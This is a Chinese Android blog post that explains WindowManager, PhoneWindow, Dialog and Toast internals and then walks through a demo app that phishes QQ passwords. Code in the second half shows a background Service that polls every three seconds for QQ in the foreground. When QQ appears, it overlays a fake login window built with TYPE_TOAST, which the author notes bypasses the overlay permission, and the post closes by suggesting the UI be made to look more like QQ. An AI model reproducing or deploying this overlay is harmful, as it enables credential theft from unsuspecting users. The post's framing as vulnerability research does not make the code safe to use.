android WindowManager解析与骗取QQ密码案例分析

来源:互联网 发布:淘宝店铺做淘宝客封号 编辑:程序博客网 时间:2024/05/06 02:17

  最近在网上看见一个人在乌云上提了一个漏洞,应用可以开启一个后台Service,检测当前顶部应用,如果为QQ或相关应用,就弹出一个自定义window用来诱骗用户输入账号密码,挺感兴趣的,总结相关知识写了一个demo,界面如下(界面粗糙,应该没人会上当吧,意思到了就行哈=, =): 
            这里写图片描述 
             
  demo地址:https://github.com/zhaozepeng/GrabQQPWD 
            

Window&&WindowManager介绍

  分析demo之前,先要整理总结一下相关的知识。先看看Window类,Window是一个抽象类,位于代码树frameworks\u0008asecorejavaandroidviewWindowjava.Java文件。连同注释,这个文件总共一千多行,它概括了Android窗口的基本属性和基本功能。唯一实现了这个抽象类的是PhoneWindow,实例化PhoneWindow需要一个窗口,只需要通过WindowManager即可完成,Window类的具体实现位于WindowManagerService中,WindowManager和WindowManagerService的交互是一个IPC过程。Android中的所有视图都是通过Window来呈现的,不管是Activity,Dialog还是Toast,他们的视图实际上都是附加在Window上的,因此Window实际上是View的直接管理者,点击事件也是由Window传递给view的。WindowManager.LayoutParams.type参数表示window的类型,共有三种类型,分别是应用Window,子Window和系统Window。应用Window对应着一个Activity,类似Dialog之类的子Window不能单独存在,他需要附属在应用Window上才可以,系统Window则不需要,比如Toast之类,可以直接显示。每个Window都有对应的z-orderd,层级大的window会覆盖在层级小的window之上,应用window的层级范围是1~99,子window的范围是1000~1999,系统window的范围是2000~2999,这些层级范围都对应着相关的type,type的相关取值:官网链接和中文资料。WindowManager.LayoutParams.flags参数表示window的属性,默认为none,flags的相关取值:官方链接,还有其他的LayoutParams变量名称和取值可以参考WindowManager.LayoutParams(上) 和WindowManager.LayoutParams(下) 两篇译文博客,很详细。 
  再详细分析一下WindowManager,WindowManager主要用来管理窗口的一些状态、属性、view增加、删除、更新、窗口顺序、消息收集和处理等。通过代码Context.getSystemService(Context.WINDOW_SERVICE)可以获得WindowManager的实例。WindowManager所提供的功能很简单,常用的只有三个方法,即添加View、更新View和删除View,这三个方法定义在ViewManager中,而WindowManager继承了ViewManager, 

  • addView();
  • updateViewLayout();
  • removeView();
  这些函数是用来修改Window的,它的真正实现是WindowManagerImpl类,WindowManagerImpl类并没有直接实现Window的三大操作,而是全部交给了WindowManagerGlobal来处理,WindowManagerGlobal以工厂的形式向外提供自己的实例,在WindowManagerGlobal中有如下一段代码:private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()。WindowManagerImpl这种工作模式是典型的桥接模式(不是装饰者模式:区别在这),将所有的操作全部委托给WindowManagerGlobal来实现。 
  View是Android中视图的呈现方式,但是View不能单独存在,他必须要附着在Window这个抽象的概念上面,每一个Window都对应着一个View和一个ViewRootImpl,Window和View通过ViewRootImpl来建立联系,因此有视图的地方就有Window,比如常见的Activity,Dialog,Toast等。 
  对于每个activity只有一个decorView也就是ViewRoot,window是通过下面方法获取的 
  Window mWindow = PolicyManager.makeNewWindow(this); 
创建完Window之后,Activity会为该Window设置回调,Window接收到外界状态改变时就会回调到Activity中。在activity中会调用setContentView()函数,它是调用 window.setContentView()完成的,而Window的具体实现是PhoneWindow,所以最终的具体操作是在PhoneWindow中,PhoneWindow的setContentView方法第一步会检测DecorView是否存在,如果不存在,就会调用generateDecor函数直接创建一个DecorView;第二步就是将Activity的视图添加到DecorView的mContentParent中;第三步是回调Activity中的onContentChanged方法通知Activity视图已经发生改变。这些步骤完成之后,DecorView还没有被WindowManager正式添加到Window中,最后调用Activity的onResume方法中的makeVisible方法才能真正地完成添加和现实过程,Activity的视图才能被用户看到。 
  Dialog的Window的创建过程和Activity类似,第一步也是用过PolicyManager.makeNewWindow方法来创建一个Window,不过这里传入的context必须要为activity的context;第二步也是通过setContentView函数去设置dialog的布局视图;第三步调用show方法,通过WindowManager将DecorView添加到Window中显示出来。 
  Toast和Dialog不同,它稍微复杂一点,首先Toast也是基于Window来实现的,但是由于Toast具有定时取消的这一个功能,所以系统采用了Handler。在Toast的内部有两类IPC过程,第一类是Toast访问NotificationManagerService,第二类是NotificationManagerService回调Toast里的TN接口。在Toast类中,最重要的用于显示该toast的show方法调用了service.enqueueToast(pkg, tn, mDuration);也就是说系统为我们维持了一个toast队列,这也是为什么两个toast不会同时显示的原因,该方法将一个toast入队,显示则由 系统维持显示的时机。

<code class="hljs cs has-numbering" style="display: block; padding: 0px; background-color: transparent; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; word-wrap: normal; background-position: initial initial; background-repeat: initial initial;"><span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">private</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">static</span> INotificationManager sService;<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">static</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">private</span> INotificationManager <span class="hljs-title" style="box-sizing: border-box;">getService</span>() {    <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">if</span> (sService != <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">null</span>) {        <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> sService;    }    sService = INotificationManager.Stub.asInterface(ServiceManager.getService(<span class="hljs-string" style="color: rgb(0, 136, 0); box-sizing: border-box;">"notification"</span>));    <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> sService;}</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; background-color: rgb(238, 238, 238); top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right;"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li></ul>

该服务sService就是系统用于维护toast的服务。最后NMS会通过IPC调用Toast类内部的一个静态私有类TN,该类是toast的主要实现,该类完成了toast视图的创建,显示和隐藏。 
  网上介绍WindowManager的博客很多,都写得很好的,要具体了解的可以结合看看源码: 
  http://blog.csdn.net/chenyafei617/article/details/6577940) 
  http://www.tuicool.com/articles/fqiyeqM 
  http://blog.csdn.net/xieqibao/article/details/6567814 
  http://www.cnblogs.com/xiaoQLu/archive/2013/05/30/3108855.html 
  相关资料太多了,感兴趣的可以看看源码。 
  

骗取QQ密码实例

  有了上面的基础之后,这个例子其实就非常简单了。 
  第一步编写一个Service并且在Service中弹出一个自定义的Window:

<code class="hljs avrasm has-numbering" style="display: block; padding: 0px; background-color: transparent; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; word-wrap: normal; background-position: initial initial; background-repeat: initial initial;">windowManager = (WindowManager) getSystemService(Context<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.WINDOW</span>_SERVICE)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>WindowManager<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.LayoutParams</span> params = new WindowManager<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.LayoutParams</span>()<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>params<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.width</span> = WindowManager<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.LayoutParams</span><span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.MATCH</span>_PARENT<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>params<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.height</span> = WindowManager<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.LayoutParams</span><span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.MATCH</span>_PARENT<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>params<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.flags</span> = WindowManager<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.LayoutParams</span><span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.FLAG</span>_NOT_TOUCH_MODAL<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>params<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.type</span> = WindowManager<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.LayoutParams</span><span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.TYPE</span>_TOAST<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>params<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.format</span> = PixelFormat<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.TRANSPARENT</span><span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>params<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.gravity</span> = Gravity<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.CENTER</span><span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>params<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.softInputMode</span> = WindowManager<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.LayoutParams</span><span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.SOFT</span>_INPUT_ADJUST_PAN<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>LayoutInflater inflater = LayoutInflater<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.from</span>(this)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>v = (RelativeLayoutWithKeyDetect) inflater<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.inflate</span>(R<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.layout</span><span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.window</span>, null)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>v<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.setCallback</span>(new RelativeLayoutWithKeyDetect<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.IKeyCodeBackCallback</span>() {    @Override    public void backCallback() {        if (v!=null && v<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.isAttachedToWindow</span>())            L<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.e</span>(<span class="hljs-string" style="color: rgb(0, 136, 0); box-sizing: border-box;">"remove view "</span>)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>            windowManager<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.removeViewImmediate</span>(v)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>    }})<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>btn_sure = (Button) v<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.findViewById</span>(R<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.id</span><span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.btn</span>_sure)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>btn_cancel = (Button) v<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.findViewById</span>(R<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.id</span><span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.btn</span>_cancel)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>et_account = (EditText) v<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.findViewById</span>(R<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.id</span><span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.et</span>_account)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>et_pwd = (EditText) v<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.findViewById</span>(R<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.id</span><span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.et</span>_pwd)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>cb_showpwd = (CheckBox) v<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.findViewById</span>(R<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.id</span><span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.cb</span>_showpwd)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>cb_showpwd<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.setOnCheckedChangeListener</span>(new CompoundButton<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.OnCheckedChangeListener</span>() {    @Override    public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {        if (isChecked) {            et_pwd<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.setTransformationMethod</span>(HideReturnsTransformationMethod<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.getInstance</span>())<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>        } else {            et_pwd<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.setTransformationMethod</span>(PasswordTransformationMethod<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.getInstance</span>())<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>        }        et_pwd<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.setSelection</span>(TextUtils<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.isEmpty</span>(et_pwd<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.getText</span>()) ?                <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span> : et_pwd<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.getText</span>()<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.length</span>())<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>    }})<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>//useless//        v<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.setOnKeyListener</span>(new View<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.OnKeyListener</span>() {//            @Override//            public boolean onKey(View v, int keyCode, KeyEvent event) {//                Log<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.e</span>(<span class="hljs-string" style="color: rgb(0, 136, 0); box-sizing: border-box;">"zhao"</span>, keyCode+<span class="hljs-string" style="color: rgb(0, 136, 0); box-sizing: border-box;">""</span>)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>//                if (keyCode == KeyEvent<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.KEYCODE</span>_BACK) {//                    windowManager<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.removeViewImmediate</span>(v)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>//                    return true<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>//                }//                return false<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>//            }//        })<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>//点击外部消失v<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.setOnTouchListener</span>(new View<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.OnTouchListener</span>() {    @Override    public boolean onTouch(View view, MotionEvent event) {        Rect temp = new Rect()<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>        view<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.getGlobalVisibleRect</span>(temp)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>        L<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.e</span>(<span class="hljs-string" style="color: rgb(0, 136, 0); box-sizing: border-box;">"remove view "</span>)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>        if (temp<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.contains</span>((int)(event<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.getX</span>()), (int)(event<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.getY</span>()))){            windowManager<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.removeViewImmediate</span>(v)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>            return true<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>        }        return false<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>    }})<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>btn_sure<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.setOnClickListener</span>(this)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>btn_cancel<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.setOnClickListener</span>(this)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>L<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.e</span>(<span class="hljs-string" style="color: rgb(0, 136, 0); box-sizing: border-box;">"add view "</span>)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>windowManager<span class="hljs-preprocessor" style="color: rgb(68, 68, 68); box-sizing: border-box;">.addView</span>(v, params)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span></code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; background-color: rgb(238, 238, 238); top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right;"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li><li style="box-sizing: border-box; padding: 0px 5px;">13</li><li style="box-sizing: border-box; padding: 0px 5px;">14</li><li style="box-sizing: border-box; padding: 0px 5px;">15</li><li style="box-sizing: border-box; padding: 0px 5px;">16</li><li style="box-sizing: border-box; padding: 0px 5px;">17</li><li style="box-sizing: border-box; padding: 0px 5px;">18</li><li style="box-sizing: border-box; padding: 0px 5px;">19</li><li style="box-sizing: border-box; padding: 0px 5px;">20</li><li style="box-sizing: border-box; padding: 0px 5px;">21</li><li style="box-sizing: border-box; padding: 0px 5px;">22</li><li style="box-sizing: border-box; padding: 0px 5px;">23</li><li style="box-sizing: border-box; padding: 0px 5px;">24</li><li style="box-sizing: border-box; padding: 0px 5px;">25</li><li style="box-sizing: border-box; padding: 0px 5px;">26</li><li style="box-sizing: border-box; padding: 0px 5px;">27</li><li style="box-sizing: border-box; padding: 0px 5px;">28</li><li style="box-sizing: border-box; padding: 0px 5px;">29</li><li style="box-sizing: border-box; padding: 0px 5px;">30</li><li style="box-sizing: border-box; padding: 0px 5px;">31</li><li style="box-sizing: border-box; padding: 0px 5px;">32</li><li style="box-sizing: border-box; padding: 0px 5px;">33</li><li style="box-sizing: border-box; padding: 0px 5px;">34</li><li style="box-sizing: border-box; padding: 0px 5px;">35</li><li style="box-sizing: border-box; padding: 0px 5px;">36</li><li style="box-sizing: border-box; padding: 0px 5px;">37</li><li style="box-sizing: border-box; padding: 0px 5px;">38</li><li style="box-sizing: border-box; padding: 0px 5px;">39</li><li style="box-sizing: border-box; padding: 0px 5px;">40</li><li style="box-sizing: border-box; padding: 0px 5px;">41</li><li style="box-sizing: border-box; padding: 0px 5px;">42</li><li style="box-sizing: border-box; padding: 0px 5px;">43</li><li style="box-sizing: border-box; padding: 0px 5px;">44</li><li style="box-sizing: border-box; padding: 0px 5px;">45</li><li style="box-sizing: border-box; padding: 0px 5px;">46</li><li style="box-sizing: border-box; padding: 0px 5px;">47</li><li style="box-sizing: border-box; padding: 0px 5px;">48</li><li style="box-sizing: border-box; padding: 0px 5px;">49</li><li style="box-sizing: border-box; padding: 0px 5px;">50</li><li style="box-sizing: border-box; padding: 0px 5px;">51</li><li style="box-sizing: border-box; padding: 0px 5px;">52</li><li style="box-sizing: border-box; padding: 0px 5px;">53</li><li style="box-sizing: border-box; padding: 0px 5px;">54</li><li style="box-sizing: border-box; padding: 0px 5px;">55</li><li style="box-sizing: border-box; padding: 0px 5px;">56</li><li style="box-sizing: border-box; padding: 0px 5px;">57</li><li style="box-sizing: border-box; padding: 0px 5px;">58</li><li style="box-sizing: border-box; padding: 0px 5px;">59</li><li style="box-sizing: border-box; padding: 0px 5px;">60</li><li style="box-sizing: border-box; padding: 0px 5px;">61</li><li style="box-sizing: border-box; padding: 0px 5px;">62</li><li style="box-sizing: border-box; padding: 0px 5px;">63</li><li style="box-sizing: border-box; padding: 0px 5px;">64</li><li style="box-sizing: border-box; padding: 0px 5px;">65</li><li style="box-sizing: border-box; padding: 0px 5px;">66</li><li style="box-sizing: border-box; padding: 0px 5px;">67</li><li style="box-sizing: border-box; padding: 0px 5px;">68</li><li style="box-sizing: border-box; padding: 0px 5px;">69</li><li style="box-sizing: border-box; padding: 0px 5px;">70</li><li style="box-sizing: border-box; padding: 0px 5px;">71</li><li style="box-sizing: border-box; padding: 0px 5px;">72</li></ul>

  这里有几点需要说明一下,第一个是type使用TYPE_TOAST而不是用TYPE_SYSTEM_ERROR是可以绕过权限的,这个是在知乎上看见有人说的一个漏洞,哈哈;第二个是因为有Edittext,所以softInputMode需要设置为SOFT_INPUT_ADJUST_PAN,要不然软键盘会覆盖Window;第三个是返回键的监听,setOnKeyListener是不好用的,最后只能复写view类的dispatchKeyEvent函数来实现按键监听了;第四个是点击外部消失的操作,看代码就会明白了。 
  实现了弹出框的弹出之后,接着就要设置一个实时监听,开启一个线程,每隔几秒去监听用户正在操作的应用是否是QQ,这个就简单多了,使用ActivityManager就可以了:

<code class="hljs lasso has-numbering" style="display: block; padding: 0px; background-color: transparent; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; word-wrap: normal; background-position: initial initial; background-repeat: initial initial;"><span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">new</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">Thread</span>(<span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">new</span> Runnable() {    @Override    <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">public</span> <span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">void</span> run() {        <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">while</span> (isRunning){            L<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>e(<span class="hljs-string" style="color: rgb(0, 136, 0); box-sizing: border-box;">"running"</span>);            try {                <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">Thread</span><span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>sleep(<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">3000</span>);            } catch (InterruptedException e) {                e<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>printStackTrace();            }            ActivityManager activityManager <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">=</span> (ActivityManager)                    getSystemService(Context<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>ACTIVITY_SERVICE);            <span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">List</span><span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;"><</span>ActivityManager<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>RunningAppProcessInfo<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">></span> <span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">list</span> <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">=</span>                    activityManager<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>getRunningAppProcesses();            <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">if</span> (<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">list</span><span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>get(<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>)<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>processName<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span><span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">equals</span>(<span class="hljs-string" style="color: rgb(0, 136, 0); box-sizing: border-box;">"com.tencent.mobileqq"</span>)){                myHandler<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>sendEmptyMessage(<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>);            }        }  }})<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>start();</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; background-color: rgb(238, 238, 238); top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right;"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li><li style="box-sizing: border-box; padding: 0px 5px;">13</li><li style="box-sizing: border-box; padding: 0px 5px;">14</li><li style="box-sizing: border-box; padding: 0px 5px;">15</li><li style="box-sizing: border-box; padding: 0px 5px;">16</li><li style="box-sizing: border-box; padding: 0px 5px;">17</li><li style="box-sizing: border-box; padding: 0px 5px;">18</li><li style="box-sizing: border-box; padding: 0px 5px;">19</li><li style="box-sizing: border-box; padding: 0px 5px;">20</li><li style="box-sizing: border-box; padding: 0px 5px;">21</li></ul>

  这样效果就差不多了,最后在Activity中启动该Service即可,当然这个还有很多改进的余地: 
   1. 修改UI,使之更加的和QQ风格相似。 
